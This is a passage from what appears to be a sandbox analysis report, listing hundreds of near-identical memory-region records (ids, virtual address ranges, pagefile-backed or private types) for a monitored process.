0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11885 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 11886 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 11887 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11888 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11889 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11890 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11891 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11892 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11893 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11894 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11895 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11896 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11897 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11901 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11902 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11903 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11904 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11905 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11906 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11907 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11908 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11909 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11910 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11911 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11912 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11913 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11914 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11915 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11916 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11917 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11918 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11919 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11920 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11921 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11922 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11923 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11924 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11925 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11926 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11927 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11928 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11929 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11930 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11931 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11932 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11933 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11934 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11935 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11936 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11937 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11938 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11939 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11940 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11941 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11942 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11943 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11944 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11945 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11946 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11947 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11948 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11953 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11954 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11955 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11956 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11957 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11958 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11959 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11960 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11961 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11962 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11963 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11964 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11965 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11966 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11967 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11968 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11969 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11970 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11971 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11972 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11973 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11974 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11975 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11976 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11977 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11978 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11979 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11980 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11981 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11982 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11983 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11984 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11985 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11986 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11988 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11989 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11990 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11991 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11992 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11993 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11994 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11995 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11996 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11997 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11998 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11999 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12000 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12001 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12002 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12003 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12004 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12005 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12006 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12007 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 12008 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 12009 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12010 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12011 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12012 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12013 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12014 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12015 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12016 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12017 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12018 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12019 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12020 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12021 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12022 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12023 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12024 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12025 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12026 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12027 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12028 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12029 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12030 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12031 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12032 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12033 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12034 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12035 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12036 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12037 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12038 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12039 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12040 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12041 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12042 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12043 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12044 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12045 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12046 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12047 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12048 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12049 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12050 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12051 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12052 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12053 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12054 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12055 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12056 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12057 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12058 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12059 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12060 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12061 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12062 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12063 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12064 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12065 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12066 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12067 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12068 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12069 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12070 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12071 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12072 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12073 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 